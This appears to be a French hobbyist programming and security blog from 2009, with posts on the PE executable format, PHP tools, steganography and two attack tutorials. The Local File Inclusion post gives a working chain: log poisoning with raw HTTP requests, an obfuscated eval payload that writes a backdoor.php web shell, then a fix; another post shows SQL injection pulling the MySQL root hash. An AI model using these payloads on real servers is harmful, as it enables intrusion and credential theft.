dimanche 29 mars 2009

Format PE *réinvente la roue* - Part I

Salut,
Afin de ne pas sombrer dans l'ennui, la paresse et le "j'fous rien", je décide de me mettre - moi aussi - à l'étude du format PE. Certes, on retrouve cette documentation un peu partout, mais un des meilleurs moyens (pour ma part) d'assimiler tout ça n'est autre que de rédiger un article avec une démarche, je l'espère, précise et très explicative.

Parlons donc du format PE (un truc dont on ne parlera jamais en cours, c'est bien dommage). Les initiales signifient, respectivement "Portable Executable". Si on fait un cours d'histoire, on va résumer les grandes lignes : c'est un format qui définit l'architecture des programmes microsoft, ainsi que des DLLs voire des pilotes de matériels. Le "Portable" signifie, ici, que les données peuvent être exécutées d'un système à un autre.

En gros, sans vouloir la jouer compliquer, ce put*** de format PE spécifie les programmes qui se terminent en .exe que nous utilisons souvent (voilà, c'était simple).

Vite s'armer (au cas où)


Je vous ai préparé un éditeur hexadécimal, un exécutable accompagné de sa source et de son dump pour faciliter la pratique. Pour l'exécutable, comme vous l'aurez compris, j'ai pas cherché à faire compliqué !

Analysons en douceur les premières lignes :
00000000:  4D 5A 90 00 03 00 00 00  04 00 00 00 FF FF 00 00  MZ..........ÿÿ..
00000010: B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ¸.......@.......
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 ............€...
00000040: 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ..º..´.Í!¸.LÍ!Th
00000050: 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
00000060: 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
00000070: 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......


Cette en-tête est peu intéressante par rapport à ce qui nous attend, mais il convient de l'analyser. En premier, on a la suite d'octets 'MZ' qui correspond au "mot magique", c'est-à-dire à la signature de l'en-tête DOS. Effectivement, si nous essayons de lancer ce programme en mode DOS - ce n'est pas ce qu'on veut - alors le programme se basera sur MZ et la suite...

Si vous ne comprenez pas la notion de signature ou mot magique, dites-vous que certains autres formats ont leur propre mot magique. Les fichiers bitmap on 'BM', les archives zip on 'PK', les sons wav on 'RIFF', etc...

Ce morceau de code, si lancé dans un environnement DOS, se contentera d'afficher gentiment "This program cannot be run in DOS mode" grâce au service 9 de l'interruption 0x21 qui permet d'afficher un message à l'écran. En clair, il veut dire "Mais espèce de sac-à-foutre, change d'OS et prends Windows 9x voire NT si t'es pas ringard !". Je sais, c'est brusque, mais je suis pas là pour faire des paroles mystérieuses et intellectuelles comme les grands philosophes. Naturel, quoi.

Je dérive, je dérive... Continuons. A l'offset 0x3C, on a une valeur DWORD (Double Word = double mot = 4 octets) qui correspond à l'offset absolu du header PE, celui qui nous intéresse. Ici, on a 0x80 ; ça signifie que notre en-tête PE commence à l'offset 0x80 (sans déconner ?).

Voyons ça !
00000080:  50 45 00 00 4C 01 05 00  38 5B CE 49 00 16 00 00  PE..L...8[ÎI....
00000090: CD 01 00 00 E0 00 07 03 0B 01 02 38 00 0A 00 00 Í...à......8....
000000A0: 00 12 00 00 00 02 00 00 80 12 00 00 00 10 00 00 ........€.......
000000B0: 00 20 00 00 00 00 40 00 00 10 00 00 00 02 00 00 . ....@.........
000000C0: 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 ................
000000D0: 00 60 00 00 00 04 00 00 97 C8 00 00 03 00 00 00 .`......—È......
000000E0: 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 .. .............
000000F0: 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ................


Apparemment, notre compte est bon. On voit un mot magique "PE" en tout début. La spécification du format PE exige que le mot magique soit codé sur 4 octets et contienne octet pour octet PE#0#0, soit 'PE' suivi de deux octets nuls (ou null bytes). Pour preuve, essayez de mettre autre chose à la place des deux zéros, vous risquerez d'obtenir une cochonnerie du genre :
C:\DOCUME~1\Geoffrey\C\sources>hello
This program cannot be run in DOS mode.

C:\DOCUME~1\Geoffrey\C\sources>


Comme par hasard ! Dans le cas où l'header aurait été valide, on aurait eu tout autant un résultat pourri et inutile qu'est mon "Hello, world!" de la mort qui tue. T'peux pas test.

Après ce fameux mot magique, on a d'autres informations :
[*] 0x80+4 : WORD (2 octets) = type d'architecture de la machine. Ici, on a 0x014C, qui correspond apparemment à I386.
[*] 0x80+6 : WORD (2 octets) = nombre de sections dans le programme.

On va pas s'attarder sur les sections, mais en gros, ça correspond au .data, .bss, .text si vous faites de l'assembleur. La section .data contient des ressources (données basiques) dont le programme peut avoir besoin. Le .bss représente un espace mémoire prêt à recevoir des données (du moins, en asm), et le .text représente votre page de code qui sera exécutée. Là, y'a 5 sections, mais on verra ça plus tard (à vrai dire, je me suis pas plongé dedans, je fais tout en live et ça me forme).

[*]0x80+8 : DWORD (4 octets) = timestamp correspondand à l'heure de compilation du programme. Faudrait essayer, tiens. Ici, on a 0x49CE5B38, soit 1238260536. Que nous donne le script php suivant ?
<?php
echo "Programme compile le ".date('d/m/Y', 1238260536)." a ".date('H:i:s', 1238260536)."\n";
?>


==>

C:\DOCUME~1\Geoffrey\C\sources>php check_timestamp.php
Programme compile le 28/03/2009 a 18:15:36


Bordel ! Maintenant, je me souviens que j'avais fait ce fameux "Hello, world!" pour tester la réinstallation de mon environnement CodeBlocks. Ça marche vraiment, hohoho !

(Euh, Geo, et si on passait à la suite ? - D'accord)

Pour la suite, on a des données qui parlent de tables des symboles et d'en-têtes optionnelles du PE. Mais en parler ferait trop pour un Part I, et sachant que je débute depuis peu. Ca me fait mal au cerveau et je préfère y aller en douceur (quoi ? Je suis un noob ? mais euh...).

On va se quitter avec un programme de merde qui :
- Ouvre un fichier exe ;
- Dit si c'est un exe valide (en se basant sur la lecture du mot magique au début de l'en-tête PE) ;
- si c'est un exe valide, affiche son architecture (ici, que pour i386), son nombre de sections et sa date de compilation.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define UTILISATION printf("Utilisation : %s \n", argv[0]); \
exit(EXIT_FAILURE);
#define OFFSET_E_LFANEW 0x3C // L'offset absolu de l'en-tête NT
#define SIG_VALID_IMAGE_NT_HEADER 0x00004550 // 'PE#0#O' est la signature valide

int main(int argc, char **argv) {
if(argc < 2) {
UTILISATION
}

int sig,
offset_nt,
archi,
nsec,
tstamp;

FILE *fpe;
if((fpe = fopen(argv[1],"rb")) == NULL) {
printf("Impossible d'ouvrir l'executable %s !\n", argv[1]);
exit(EXIT_FAILURE);
}

fseek(fpe, OFFSET_E_LFANEW, SEEK_SET);
fread(&offset_nt, sizeof(int), 1, fpe);
fseek(fpe, offset_nt, SEEK_SET);
fread(&sig, sizeof(int), 1, fpe);
if(sig == SIG_VALID_IMAGE_NT_HEADER) {
printf("Executable valide !\n");

// On vérifie le type d'architecture
fread(&archi, sizeof(short int), 1, fpe);

// On lit le nombre de sections
fread(&nsec, sizeof(short int), 1, fpe);

// On lit le timestamp de compilation
fread(&tstamp, sizeof(int), 1, fpe);

if((short)archi == 0x014C) {
printf("[*] Architecture : i386\n");
}
printf("[*] Nombre de sections : %d\n"
"[*] Timestamp = %d - %s\n", (short)nsec,
tstamp, asctime(localtime((time_t*)&tstamp)));

} else {
// Si mot magique différent de 'PE#0#0'
printf("Executable invalide !\n");
}

return EXIT_SUCCESS;
}

(Source véritable : http://venom630.free.fr/geo/autre_chose/etude_pe/checkvalidpe_c.txt)

J'ai pas utilisé de structures, car j'aurais fait face à un souci de Data Structure Alignment ; un bon article expliquant ce souci a été écrit par Smoke : c'est ici. J'ai donc utilisé des variables individuelles, mais on se fiche de ça un peu. Ouais, ok, j'aurais pu utiliser windows.h pour me servir des types WORD et DWORD, mais on s'en fout aussi.

Conclusion


Je débute, et remerciement à Ivanlef0u qui m'a conseillé de partir de là si je voulais me tâter un peu sur la compréhension de ouinedouze ; je remercie aussi ceux qui me soutiennent (normal).

Et petit coucou à NiklosKoda qui galère sur son billard en pascal.

Geo

samedi 14 mars 2009

Les dangers d'une LFI (Local File Inclusion) en PHP : access.log

Bien le bonjour !
Afin de ne pas laisser le blog sombrer, parlons d'un concept de la sécurité en PHP : Local File Inclusion. On parle de faille, notamment parce qu'on peut inclure n'importe quoi sur le serveur local. On ne se contentera donc pas d'étudier le principe de RFI (Remote File Inclusion) qui constitue une faille extrêmement dangereuse, certes, mais qui est très facile à exploiter et à comprendre ; par ailleurs, je ne pense pas m'adresser à un public qui n'y connait rien...

Enfin, bref. Ca remonte aux vacances de noël, où je bouffais tranquillement un grec avec Heurs dans sa voiture. On parlait un peu de tout et de rien, puis il me sort qu'on peut injecter du code php arbitraire avec une LFI. Il m'a expliqué brièvement, j'ai mené des recherches de mon côté, et je suis arrivé à produire des résultats intéressants. ;)

Le principe est, en fait, de trouver le chemin du fichier access.log et de l'inclure. A quoi ça correspond donc ? A l'historiques des requêtes adressées à notre serveur. Sous linux, il peut se trouver dans plusieurs chemins différents en fonction des distributions. Sous une Debian c'est (de tête...) /var/logs/apache2/access.log ; sur un serveur ovh dédié, on a /usr/local/apache/logs/access.log, etc...

Pour ma part, j'utilise wamp - donc windows - et mon access.log se situe dans C:\wamp\logs\access.log


Voici une portion de contenu :


127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_tblimport.png HTTP/1.1" 200 280
127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_edit.png HTTP/1.1" 200 451
127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_primary.png HTTP/1.1" 200 416


On peut, à partir de se fichier, savoir qui a demandé telle page à telle heure. En quoi le fait de l'inclure peut-il constituer une faille ? Car si on y injecte du PHP dedans et que nous appelons ce fichier par une LFI, ... Ca fait mal ! :)

Pour nous mettre en situation réelle, prenons un script php quelconque situé à la racine du site :

<?php
// mapage.php
if(isset($_GET['page']) && file_exists('./'.$_GET['page'])) {
include('./'.$_GET['page']);
} else {
// Blablabla...
}
?>


Allons maintenant à l'adresse : http://localhost/mapage.php?page=../logs/access.log ; on voit le contenu de notre fichier access.log. Pour y aller à l'aise, je vous conseille de vider le contenu de ce fichier.

Maintenant, si nous voulons réussir l'attaque, il faut injecter du php.

Essayons d'aller à cette adresse :
http://localhost/mapage.php?<?php echo 'coucou'; ?>

Puis revenons sur la page qui inclut access.log. Que constatez-vous ? Les caractères ont été encodés par le navigateur. Il faut donc utiliser des outils comme netcat, telnet, etc... Essayons en forgeant une requête type :

GET /mapage.php?<?php phpinfo(); ?> HTTP/1.1
Host: localhost
Connection: close



On balance la requête avec telnet, on retourne pour charger notre fichier access.log, et... Magie ! Notre code est interprêté sur le serveur distant.

On pourrait aller plus loin : exécuter un code qui va créer une page qui, elle-même, interprétera du code fourni en paramètre (GET, POST, etc...). Commençons par faire notre page qu'on souhaitera écrire sur le serveur distant :
<?php
if(isset($_GET['a']))
include($_GET['a']);
?>


Faisons maintenant le code qui va écrire ce code dans une page :
$fp = fopen('backdoor.php','w');
fwrite($fp, '<?php
if(isset(\$_GET[\'a\']))
include(\$_GET[\'a\']);
?>');
fclose($fp);



On s'emmêle les pinceaux, j'avoue, mais tout est bien coordonné. En fait, il suffira d'injecter le code ci-dessus dans notre URL avec telnet pour que le tour soit joué. Cependant, il faut penser à certaines parades côté serveur : et si les guillemets simples ou doubles étaient échappés ? Ca serait embêtant. On va donc encoder chaque caractère du code en sa version décimale, et passer le tout dans la fonction eval. Le script ci-dessous, exécuté en CLI (Command Line Interface) se charge de mâcher tout le travail : (merci NiklosKoda ! :P)
<?php

function stringtochar($string)
{
$char = 'chr(';
for($i=0 ; $i<strlen($string)-1 ; $i++)
$char .= ord(substr($string, $i, 1)).').chr(';
$char .= ord(substr($string, strlen($string)-1, 1)).')';
return $char;
}

echo stringtochar('$fp = fopen(\'backdoor.php\',\'w\');
fwrite($fp, \'if(isset($_GET[\\\'a\\\']))
include($_GET[\\\'a\\\']);
?>\');
fclose($fp);');

?>


Le script nous produit ce résultat :
chr(36).chr(102).chr(112).chr(32).chr(61).
chr(32).chr(102).chr(111).chr(112).chr(101).
chr(110).chr(40).chr(39).chr(98).chr(97).
chr(99).chr(107).chr(100).chr(111).chr(111).
chr(114).chr(46).chr(112).chr(104).chr(112).
chr(39).chr(44).chr(39).chr(119).chr(39).
chr(41).chr(59).chr(13).chr(10).chr(102).
chr(119).chr(114).chr(105).chr(116).chr(101).
chr(40).chr(36).chr(102).chr(112).chr(44).
chr(32).chr(39).chr(60).chr(63).chr(112).
chr(104).chr(112).chr(13).chr(10).chr(105).
chr(102).chr(40).chr(105).chr(115).chr(115).
chr(101).chr(116).chr(40).chr(36).chr(95).
chr(71).chr(69).chr(84).chr(91).chr(92).
chr(39).chr(97).chr(92).chr(39).chr(93).chr(41).
chr(41).chr(13).chr(10).chr(32).chr(32).chr(32).
chr(32).chr(105).chr(110).chr(99).chr(108).chr(117).
chr(100).chr(101).chr(40).chr(36).chr(95).chr(71).
chr(69).chr(84).chr(91).chr(92).chr(39).chr(97).
chr(92).chr(39).chr(93).chr(41).chr(59).chr(13).
chr(10).chr(63).chr(62).chr(39).chr(41).chr(59).
chr(13).chr(10).chr(102).chr(99).chr(108).chr(111).
chr(115).chr(101).chr(40).chr(36).chr(102).chr(112).chr(41).chr(59)

(tronqué sur plusieurs lignes).
Testons si le script suivant fonctionne :
<?php
eval(chr(36).chr(102).chr(112).chr(32).chr(61).
chr(32).chr(102).chr(111).chr(112).chr(101).
chr(110).chr(40).chr(39).chr(98).chr(97).
chr(99).chr(107).chr(100).chr(111).chr(111).
chr(114).chr(46).chr(112).chr(104).chr(112).
chr(39).chr(44).chr(39).chr(119).chr(39).
chr(41).chr(59).chr(13).chr(10).chr(102).
chr(119).chr(114).chr(105).chr(116).chr(101).
chr(40).chr(36).chr(102).chr(112).chr(44).
chr(32).chr(39).chr(60).chr(63).chr(112).
chr(104).chr(112).chr(13).chr(10).chr(105).
chr(102).chr(40).chr(105).chr(115).chr(115).
chr(101).chr(116).chr(40).chr(36).chr(95).
chr(71).chr(69).chr(84).chr(91).chr(92).
chr(39).chr(97).chr(92).chr(39).chr(93).chr(41).
chr(41).chr(13).chr(10).chr(32).chr(32).chr(32).
chr(32).chr(105).chr(110).chr(99).chr(108).chr(117).
chr(100).chr(101).chr(40).chr(36).chr(95).chr(71).
chr(69).chr(84).chr(91).chr(92).chr(39).chr(97).
chr(92).chr(39).chr(93).chr(41).chr(59).chr(13).
chr(10).chr(63).chr(62).chr(39).chr(41).chr(59).
chr(13).chr(10).chr(102).chr(99).chr(108).chr(111).
chr(115).chr(101).chr(40).chr(36).chr(102).chr(112).chr(41).chr(59)); ?>


Il marche. Il créé un fichier "backdoor.php" accessible. ;)

Il ne nous reste plus qu'à balancer notre requête :
GET /mapage.php?<?php eval(chr(36).chr(102).chr(112).chr(32).chr(61).chr(32).[...]chr(102).chr(112).chr(41).chr(59)); ?> HTTP/1.1
Host: localhost
Connection: close


On repasse ensuite sur http://localhost/mapage.php?page=../logs/access.log ; on constate qu'il ne se passe rien d'alarmant (pas d'erreur de php) ; Allons maintenant sur http://localhost/backdoor.php. La page existe. Si nous faisons http://localhost/backdoor.php?a=http://ghostsinthestack.org/index.php, on inclut le site de copain Heurs dans notre page (sans le CSS) ; tout ça pour dire qu'on a réussi.

Conclusion



La LFI est dangereuse. Pour la sécuriser, ce script suffirait :
<?php
if(!empty($_GET['page'])
&& preg_match('/^[a-zA-Z0-9]+$/',$_GET['page'])
&& file_exists('./pages/'.$_GET['page'].'.php')) {
include('./pages/'.$_GET['page'].'.php');
} else {
// Blablabla... Erreur
}
?>


Dès lors, il sera impossible, pour l'utilisateur, de naviguer dans un autre répertoire. Seul les pages présentes dans le dossier "pages" seront disponibles aux inclusions locales.

Petit article simpliste, mais voilà. Salut !


Geo

samedi 28 février 2009

Petit module en C : GeoStr (original, comme nom, pas vrai ?!)

Bien le bonjour/bonsoir.

Je suis encore en vie. J'ai pas encore été empalé par un sabre ou été renversé par un camion de livraison. Je suis là, devant mon PC, et je vais vous parler d'un truc avec un niveau peu élevé (je m'adresse, bien évidemment, aux mofos genre Unknown*Dragoon, shp, et toutes les tapz qui vont rire).

J'ai fait un module pour manipuler des chaînes en C. C'est pas complet, mais ça me sert. A la base, c'était pour un usage perso - flemme de diffuser si c'est pour se recevoir des "mouais, tu réinventes la roue et tu sers à rien" ; c'est pour le plaisir de l'algorithme ! :}

Quatre fonctions :

- int GeoStr_Count(char *chaine, char motif);
Retourne le nombre de motif présent dans chaine.

Exemple : GeoStr_Count("Salutations",'a'); renverra 2.


- int GeoStr_GetIndiceFromMotif(char *chaine, char motif, int pos);
Retourne l'index du posième motif dans chaine

Exemple : GeoStr_GetIndiceFromMotif('Salutations','a',1); renverra l'index du premier 'a', soit 1 ;
GeoStr_GetIndiceFromMotif('Salutations','a',2); renverra l'index du second 'a', soit 5 !

- char *GeoStr_substring(char *chaine, int debut, int combien);
Qui ne connait pas lafonction substring ? Elle renvoit combien octets en partant de l'index debut, dans chaine

Exemple :
*GeoStr_substring('Salutations',3,8); renverra 'lutations'.


- char **GeoStr_explode(char *chaine, char motif);
Le clou du pestacle ! La fonction explode renvoit un tableau de chaines issues de chaine, séparées par motif. Le second argument n'est, malheureusement, pas une chaine de caractère. J'avais pas le courage de faire ça, étant donné que j'ai pondu cette fonction à 2h du matin.

Exemple : GeoStr_explode("02/10/1989",'/') renverra un tableau de chaines :
[0] = "02";
[1] = "10";
[2] = "1989";




Les fichiers constituant le module se trouvent ici : http://venom630.free.fr/geo/?path=tools/GeoStr

Si jamais (et je dis bien, si jamais) vous avez du temps (à perdre ?) pour faire évoluer la bête, n'hésitez pas à me le signaler par mail ou par commentaire. Ca m'intéresserait d'avoir des fonctions que j'ai comprises et dont je peux me servir pour plusieurs trucs, notamment niveau études.

Conclusion


Je suis pas mort, et je code encore. Voilà.

Geo

PS : Je salue NiklosKoda, pour le fun. Et je le soutien pour la parution de son article complet (comme le pain de mie) sur les injections SQL. Je dédierai un article à ce sujet, car ça vaut vraiment le coup pour les débutants.

mercredi 11 février 2009

Sauvegarder sa bdd rapidement et efficacement (ou pas ?)

Salut, la compagnie !
Non, je ne suis pas (encore) mort ! Et si je poste un nouvel article, c'est bien pour vous le montrer.

On va pas y aller avec un gros sujet sensible, je vais juste vous parler d'un petit outil simpliste que j'ai fait. Il permet de sauvegarder une base de données, mais restons modestes : il est à optimiser, et il ne prend pas en charge toutes les structures spécifiques de tables MySQL, à savoir :
- Si y'a des FOREIGN KEY ou non ;
- La valeur actuelle générée par l'AUTO_INCREMENT.

Lien : http://venom630.free.fr/geo/tools/dbsave_php.txt
Bien sûr, c'est à optimiser. On pourrait l'utiliser en CLI en fournissant respectivement en argument l'host, l'utilisateur, le mot de passe et la base de données à sauvegarder. On peut aussi l'adapter pour le web, y'a pas grand souci.

Si y'en a que ça intéresse, la source est dispo, donc, aucun problème de ce côté-là. (Celui qui me fait un reproche sur les noms de variable ambigus, c'est ma poing dans son gueule à ce p'tit con !)

Voilà. (C'était une conclusion du tonnerre, il faut le dire !)

Geo

samedi 24 janvier 2009

ROOT@LOCALHOST a dit... faites le chien !

Et c'est là que tout le monde se met à aboyer, qui qu'on soit. Ca serait amusant, comme spectacle !
Bon, ok, le titre n'est pas très original, mais j'essayais de me faire comprendre de quelque manière que ce soit ; ce tutoriel traitera des injections SQL possibles quand on a les privilèges root avec.

Petit préambule pour ceux qui veulent pratiquer en même temps que l'article. Je suppose que vous avez un environnement apache + mysql + php à disposition. Connectez-vous en ROOT, et faites les requêtes suivantes :
CREATE USER SecondRoot IDENTIFIED BY 'toor';
CREATE DATABASE BaseDeRoot;
GRANT ALL PRIVILEGES ON BaseDeRoot.* TO 'SecondRoot'@'%';


Trois lignes de requêtes :
- La première créé un utilisateur sql nommé SecondRoot, dont le mot de passe sera toor. Cet utilisateur sera dépourvu de droit, il n'en aura AUCUN ;
- la seconde ligne créé une base de données BaseDeRoot ;
- la troisième ligne assigne tous les privilèges SecondRoot pour manipuler la base BaseDeRoot.

C'est un peu comme ça que font les hébergeurs web pour vous créer une base de données, en fait.

Ce qu'il faut savoir
Il existe des méta-bases, pour mysql. L'une d'elles s'appelle tout simplement mysql, et renferme les informations des utilisateurs, des privilèges etc... Une autre s'appelle information_schema, qui renferme les informations sur le nom des bases de données, des tables etc...

Aucun utilisateur autre que root lui-même - si les autres n'ont pas les mêmes droits que root - ne peut adresser de requête à la base mysql.

Faisons, par exemple, la requête suivante une fois connecté sous root :
SELECT Host, User, Password FROM mysql.user


Résultat :
+-----------+------------+-------------------------------------------+
| Host | User | Password |
+-----------+------------+-------------------------------------------+
| localhost | root | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
| % | SecondRoot | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
+-----------+------------+-------------------------------------------+


On obtient la liste des utilisateurs. On s'aperçoit que root et secondroot on le même mot de passe, mais ça, on s'en fout. Ce qu'on aperçoit, surtout, c'est qu'on ne peut se connecter en root qu'à partir de localhost, donc impossible à distance. Quant à SecondRoot, on peut faire ça de partout. Allons un peu plus loin, et regardons les privilèges de chaque utilisateur :

SELECT User, Select_priv, Insert_priv, Update_priv, Delete_priv FROM mysql.user;


Résultat :
+------------+-------------+-------------+-------------+-------------+
| User | Select_priv | Insert_priv | Update_priv | Delete_priv |
+------------+-------------+-------------+-------------+-------------+
| root | Y | Y | Y | Y |
| SecondRoot | N | N | N | N |
+------------+-------------+-------------+-------------+-------------+


Voilà, c'était juste un exemple.

Imaginez le code suivant :
<?php
mysql_connect("localhost","root","toor");
mysql_select_db("BaseDeRoot");
//...
?>


On remarque que le script php se connecte avec les droits root. On peut donc aisément interroger la base mysql pour obtenir des informations sensibles, d'où le pass de root.

Exemples de requêtes :
UPDATE membre SET age=19
-- Et là, l'injection
, profil= (SELECT Password FROM mysql.user LIMIT 0,1) WHERE pseudo='Geo'; /*
-- La suite de la requête (par exemple)
WHERE pseudo='Geo';


Dans mon profil apparaîtra le hash de root. Il ne manque plus qu'à le casser, et ça peut prendre 10 minutes comme une décennie.

Conclusion ?



L'article n'était pas très long et explicatif, mais il nous a montré qu'il fallait plutôt passer par un utilisateur autre que root si nous voulons, à la base, manipuler une base de données associée. On peut, certes, accéder à information_schema (ce que nous n'avons pas vu, mais peut-être plus tard) mais en aucun cas à mysql.

Geo

(D'un côté, ça prouve que je suis encore en vie, hahaha !)

dimanche 18 janvier 2009

Petit délire d'ASCII art

Salut, salut !
Histoire de poster un truc pour vous montrer que le blog n'est pas encore mort, je vais vous parler d'un petit script à la con que j'ai fait hier en même pas 15 minutes. Ca m'a permis de pratiquer un peu la bibliothèque GD de php.

Je préviens, au passage, que je vois déjà ma monture - UnKnOwN*DrAgOoN - se foutre de ma gueule. :]

Le script a pour fonction de prendre quatre arguments en méthode GET :
- La skin a afficher en ascii art ;
- la couleur de fond sur laquelle afficher l'ascii art ;
- les coordonnées x de la frame ;
- les coordonnées y de la frame.

Imaginez la skin suivante :


Le but du script serait de prendre une frame (celle de face, par exemple) et de l'afficher en ascii art avec les couleurs. On imagine donc bien l'algorithme qui :
- se positionne au 1er pixel de la frame ;
- lit, de façon séquentielle, la couleur des pixels ;
- affiche des caractères HTML colorés.

J'ai donc déjà au moins ça :
<?php
if(!empty($_GET['bgcolor'])) {
$colordefault = "#".htmlentities($_GET['bgcolor']);
} else {
$colordefault = "#000000";
}
echo
"<body bgcolor=\"".$colordefault."\" text=\"#FFFFFF\">";



J'avoue que ça doit pas être très optimisé niveau sécu' ou quoi, mais c'est juste que, sur le moment, je me faisais chier comme pas possible.

Ensuite, sachant qu'une frame fait 24 pixels sur la largeur et 32 pixels sur la longueur, on peut continuer là-dessus :
if(isset($_GET['skin'])) {
$MyImage = @imagecreatefrompng($_GET['skin']);

if(isset($_GET['x'])) {
$framex = abs(intval($_GET['x']));
} else {
$framex = 0;
}

if(isset($_GET['y'])) {
$framey = abs(intval($_GET['y']));
} else {
$framey = 0;
}

$debutx = 24*$framex;
$debuty = 32*$framey;

$dest = imagecreatetruecolor(24,32);
imagecopymerge($dest, $MyImage, 0, 0, $debutx, $debuty, 24, 32, 100);
// ...



On créer une petite image de destination aux dimensions 24x32 et on y copie la frame à afficher. C'est inutile mais ça m'a permis de faire du pas à pas.

Voici en suite la portion de code qui servirait à afficher l'ascii art coloré :
echo "<font size=\"1\" face=\"Courier New\">";
for($j = 0; $j <= 32; $j++) {
for($i = 0; $i <= 24; $i++) {
$color = imagecolorat($dest,$i,$j);
$r = ($color >> 16) & 0xFF;
$g = ($color >> 8) & 0xFF;
$b = $color & 0xFF;
if($color) {
echo "<font color=\"#".
($r <= 15 ? "0".dechex($r) : dechex($r)).
($g <= 15 ? "0".dechex($g) : dechex($g)).
($b <= 15 ? "0".dechex($b) : dechex($b))."\">0101</font>";
} else {
echo "<font color=".$colordefault.">0101</font>";
}
}
echo "<br />";
for($i = 0; $i <= 24; $i++) {
$color = imagecolorat($dest,$i,$j);
$r = ($color >> 16) & 0xFF;
$g = ($color >> 8) & 0xFF;
$b = $color & 0xFF;
if($color) {
echo "<font color=\"#".
($r <= 15 ? "0".dechex($r) : dechex($r)).
($g <= 15 ? "0".dechex($g) : dechex($g)).
($b <= 15 ? "0".dechex($b) : dechex($b))."\">0101</font>";
} else {
echo "<font color=".$colordefault.">0101</font>";
}
}
echo "<br />";
}
echo "</font>";



Petites explications : On balaye chaque ligne, on lit la couleur des pixels et on l'affiche en <font color="couleur lue">ascii art</font>. Si je fais deux boucles for() sur la largeur, c'est pour éviter que l'ascii art soit trop tassé.

On peut terminer avec une petite notice d'utilisation - flemme d'avoir codé un formulaire html...
} else {
echo "<pre>Utilisation : script.php?skin=skin.png[&bgcolor=couleur_hexa][&x=valeur][&y=valeur]</pre>";
}
?>


Comme quoi, c'est juste pour le délire que j'ai fait ça.
Un petit aperçu ? :]

hebergé sur tof.center.free.fr


Voili voulou. Et, vu que j'aurais pas écrit beaucoup de choses, autant publier mes résultats merdiques du BTS blanc :
- Droit : 4,25 ;
- Economie : 8,5 ;
- Comptabilité : 8,5 ;
- Architecture matérielle : 9 ;
- Français : 10,7 ;
- Anglais : 12 ;
- Analyse (Méthode merise) : 13,5 ;
- Architecture logicielle (SQL, excel...) : 16,5 ;
- Algorithmie : 18,5 ;
- Maths : 18,5 ;
- GEOSI (Gestion des entreprise et organisation des systèmes d'information) : 20,5, car, en fait, la notation a été revue pour être sur 23. Ca me fait 0.5 point de bonus.

Ca me fait une moyenne de merde, les matières informatiques étant regroupées dans un coefficient global de 5. L'éco-droit, coeff 3 (Aïe !), et tout le reste coeff 2.

C'était... ma vie passionnante ! C'est bien la dernière fois que je dis des trucs qui n'ont rien à voir avec le blog...

Conclusion ?


Pour en revenir au sujet de l'article, celui-ci ne sert un peu à rien comparé aux autres - sh4ka m'a même dit qu'il préférait la crypto. Néanmoins, c'est toujours ça de plus de coder des petits trucs pour en tirer une petite satisfaction. Je sais pas pour vous, mais, ça m'a fait délirer de faire de l'ascii art (premier truc que j'ai fait).

Geo


PS : Ajout de kmkz dans la liste des copains. Blog sympathique (comme les autres) à aller voir !
PS2 : Ajout du site de shp - mon sacalain, ma propriété privée - dans la liste des copains. Je t'aime, mon bichon.
PS3 : Ajout du blog de 5m0k3, mon prédécesseur, dans la liste des copains.

samedi 10 janvier 2009

StegaWav beta v0.1 - "J'ai rien entendu !"

Les week-ends... Ils ont leurs avantages tout comme leurs inconvénients ; c'est reposant, mais parfois, on peut s'faire chier comme un rat mort.

Il n'y a pas si longtemps que ça, je me suis mis en tête de coder un petit programme qui se sert du bit de poids faible d'un fichier x pour y dissimuler tous le contenu d'un fichier y. Une technique de stéganographie efficace mais très connue. Pour savoir ce qu'est - en détail - la stéganographie, je vous redirige sur ce lien :
http://fr.wikipedia.org/wiki/St%C3%A9ganographie

Je reprends... Je me suis donc mis en tête de coder l'outil pour cacher les informations, et l'autre pour les extraire.

J'élabore un petit cahier des charges dans ma tête. Pourquoi wav ? Parce que, généralement, les fichiers de ce type sont volumineux, car non compressés. En plus, il faudrait élaborer un petit truc sympa. Je me suis donc dit que je cacherai carrément un fichier dans le son. On commencerait donc par cacher des en-têtes, du genre :

Name: fichier.txt\n
Taille : 15\0

Ainsi, on cache le contenu. Ca peut servir pour l'extracteur, qui va lire le nom du fichier et qui ira ensuite extraire suivant la taille.

Ayant eu un souci en C auquel j'ai été confronté longtemps sans trouver de solution, je demande de l'aide sur #nibbles. Ivanlef0u, j0rn, Baboon et Deimos se penchent sur mon problème ; en fait, ça viendrait de fseek(), une fonction dont je me sers pour parcourir le fichier. Résultat, personne ne trouve malgré les théories élaborées, et ça finit en gentil troll.

J'ai plus qu'à faire ça en PHP. :(


J'ai commencé par pondre des scripts en console. Pour les télécharger, c'est ici :
http://venom630.free.fr/geo/?path=tools/StegaWav

Utilisez-les en CLI. De toute façon, z'avez pas le choix.

Je les compile avec bambalam, content de moi. Effectivement, je pourrai les diffuser aux gens (coucou Tybalt !) qui n'ont pas PHP d'installé sur leur bécane ! \o/

Oui, j'étais content de mon petit machin débile. Je l'ai donc fait essayer à certains amis qui avaient le temps, mais, le souci, c'est qu'ils n'avaient pas l'habitude d'utiliser la console. Donc, je me suis dit... Pourquoi ne pas leur faire d'interface graphique avec winbinder ?

C'est ce que j'ai fait !

Avantages :
- Prise en main facile ;
- programmation facile.

Inconvénients :
- Lent ;
- pas portable ;
- Eventuellement quelques bugs.
- Ca se peut que ça ne marche pas... Je suis pas pro en portabilité de winbinder.

